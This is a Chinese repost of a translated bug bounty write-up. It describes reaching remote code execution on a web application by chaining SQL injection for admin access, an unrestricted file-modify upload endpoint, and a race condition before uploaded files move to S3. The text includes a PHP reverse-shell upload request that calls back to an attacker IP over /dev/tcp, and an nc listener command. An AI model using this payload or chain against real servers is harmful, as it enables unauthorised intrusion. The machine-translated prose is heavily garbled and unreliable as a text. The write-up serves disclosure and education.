首页 » 网站建设 » php检讨文件后缀技巧_运用竞争前提所实现的敕令实行

php检讨文件后缀技巧_运用竞争前提所实现的敕令实行

访客 2024-11-14 0

扫一扫用手机浏览

文章目录 [+]

这篇大略的文章紧张讲述了我是如何在一个非公开的漏洞悬赏项目中挖掘漏洞的,从大略的前期侦察到大略的SQL注入,竞争条件,末了得到RCE。
由于在往常的漏洞悬赏项目中很难直接得到RCE,因此,我会着重讲一下这个由竞争条件触发的RCE。
现在,就让我们开始吧。

当我们进入管理员的内部管理页面时(我们是通过SQL注入得到管理员帐户的),急速创造了上传功能。

php检讨文件后缀技巧_运用竞争前提所实现的敕令实行

当然,这个上传功能有一个保护机制,不许可用户上传后缀名为.php的文件,让我们假设处理上传文件的是upload.php(关于这种类型的防护,有时可以通过后缀名.phtml绕过)。
不过,这个运用程序还有另一个功能,可以更换/删除之前上传的文件,我们假设这是通过modify.php处理的。

php检讨文件后缀技巧_运用竞争前提所实现的敕令实行
(图片来自网络侵删)

而且这个modify.php并不会像upload.php那样检讨文件后缀名,因此,我们可以轻松地将.php文件上传到目标上。

但是,我们很快创造,上传的文件会被转移到S3存储桶中,因此,你无论上传什么shell,都不可能掌握目标做事器,由于shell存储在S3存储桶中(肯定也不能生效)。

然后,我们通过modify.php发送多个文件上传要求,看看是否能找到些未知漏洞。
溘然,我们在大量的相似相应包中创造个中一个数据包有所不同,其包含一个本地存储路径的缺点信息。
从这个创造中,我们意识到文件在自动转移到S3存储桶之前大约有2秒是存储在本地的。

接下来,我们先在自己的做事器设置了一个监听器(通过nc -lvp listener_port),利用竞争条件一边一直地上传能反弹回shell的恶意文件(利用modify.php),一边一直地访问上传文件(利用缺点信息中地本地存储路径),直到我们的做事器吸收到了目标做事器返回的shell。

终极经由几十次要求(超过20-30次),末了我们得到了目标的shell。

详细过程

在这节中,我们将逐步阐明整体攻击流程。
我们将通过手动画图让你只管即便理解到底发生了什么。

在我们进入管理员主页面后内部仪表板之后,就急速开始搜索上传文件功能,并成功在几分钟后,于新闻/文章模块中找到了。
在研究了几分钟后,我们创造这个模块中任何上传点上传的任何文件都会由upload.php处理。

基本上,上传界面如下:

一开始我们试图通过这个模块直接上传大略的shell,但是事情并不顺利,由于它有一个针对后缀名.php的保护方法。
我们考试测验利用大小写(例如.PhP),在php后面添加了一些数字(例如.php3),以及网络优势行的各种稠浊方法(将扩展名复制更加,添加null字符,添加;字符等)进行绕过,但都失落败了,我们总是得到如下的警告:

然后我们也考虑过存储型XSS,看看能否上载.html、.xml或.svg格式的文件,结果成功了。
但是,我们很快创造上传文件都被移动到S3存储桶中。
总所周知,在S3存储桶中触发XSS是没有任何意义的。
那么,我们如何进一步攻击呢?

在文件上传完成后,在新闻模块中就会涌现编辑用的素材表格,而从表格中我们可以创造有一个edit按钮,这代表我们可以编辑已上传的文件。

而在我们单击edit按钮后,创造个中也包含一个文件上传功能,而且个中并没有限定后缀名(在我的履历中,同一功能的两处上传点每每特点相同)!

简而言之,我们现在可以直接上传任意.php文件。

当我们的shell上传后,我们创造此时该当是modify.php处理上传文件,因此没有了限定。
以下是涉及modify.php的上传要求:

Content-Disposition: form-data; name=\公众fileid\公众31337-----------------------------09234599689937136550676151776Content-Disposition: form-data; name=\"大众name\公众picture-1.png-----------------------------09234599689937136550676151776Content-Disposition: form-data; name=\"大众desc ription\"大众-----------------------------09234599689937136550676151776Content-Disposition: form-data; name=\"大众userfile\公众; filename=\公众reverse.php\"大众Content-Type: text/php<?phpexec(\"大众/bin/bash -c 'bash -i >& /dev/tcp/10.20.30.40/21234 0>&1'\"大众);-----------------------------09234599689937136550676151776Content-Disposition: form-data; name=\"大众save\"大众Save

结束了吗?很可惜,还是没有,shell也被转移到了S3存储桶中,我们并不能实行任何命令。

就像概要里说的一样,我们立马通过第二个上传点多次上传shell,并在发出多个要求后,得到了不同的长度的相应(大约须要发送几十个要求)。
一样平常要求的相应长度为1147,但个别要求的相应长度为1710。

如高下图所示,正常相应长度为1147,个别相应长度为1710。

那么,非正常相应的内容是什么?是一些包含文件确当地路径的缺点信息。

当我们看到这个路径时,就考试测验通过浏览器访问文件来触发shell。

但是,当我们这么做的时候,得到了著名的警告:“文件未找到”。
shell依然是在S3存储桶中,并不在本地。
不过,从这我们理解到上传文件会以某种办法在本地存储了大约1-2秒,然后自动转移到S3存储桶中。

触发shell,掌握做事器

现在很明显了,我们可以通过竞争条件,在文件从本地转移到S3存储桶的短短几秒间,访问shell,触发命令实行。

因此,我们先设置监听器做事器->准备好反弹shell文件->发出1000个上传要求->从相应中获取到文件本地路径->反复通过浏览器访问文件->恶意文件实行,反弹回shell。

干系的大略流程如下:

末了,我们得到了一个shell。

从以上这个案例,我们觉得很多利用了S3存储桶的网站都存在这个问题:上传文件在本地会存在1到2秒,但足以触发shell;不少网站因利用了S3存储桶而放松了当心,没严格限定上传文件类型。

参考

1.https://www.owasp.org/index.php/Testing_for_Race_Conditions_(OWASP-AT-010)

2.https://securingtomorrow.mcafee.com/business/testing-race-conditions-web-applications/

3.https://medium.com/@ciph3r7r0ll/race-condition-bug-in-web-app-a-use-case-21fd4df71f0e

4.https://www.owasp.org/index.php/Unrestricted_File_Upload

5.https://www.slideshare.net/HackIT-ukraine/15-technique-to-exploit-file-upload-pages-ebrahim-hegazy

本文由白帽汇整理并翻译,不代表白帽汇任何不雅观点和态度

来源:https://nosec.org/home/detail/2989.html

原文:https://medium.com/bugbountywriteup/race-condition-that-could-result-to-rce-a-story-with-an-app-that-temporary-stored-an-uploaded-9a4065368ba3

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您供应:网络空间测绘、企业资产网络、企业威胁情报、应急相应做事。

标签:

相关文章

杭州IT招聘,人才济济,机遇无限

近年来,随着互联网、大数据、人工智能等新兴技术的飞速发展,我国IT行业呈现出一片繁荣景象。作为我国互联网行业的领军城市之一,杭州吸...

网站建设 2024-12-27 阅读0 评论0

前方后方语言,跨越时空的沟通桥梁

自古以来,人类为了表达思想、传递信息,创造了丰富多彩的语言。在我国,汉语作为一种具有悠久历史和丰富内涵的语言,更是承载了中华民族的...

网站建设 2024-12-27 阅读0 评论0

凑算法在C语言编程中的魅力与应用

随着计算机技术的飞速发展,C语言作为一门历史悠久的编程语言,在众多领域发挥着重要作用。凑算法作为一种高效的编程思想,在C语言编程中...

网站建设 2024-12-27 阅读0 评论0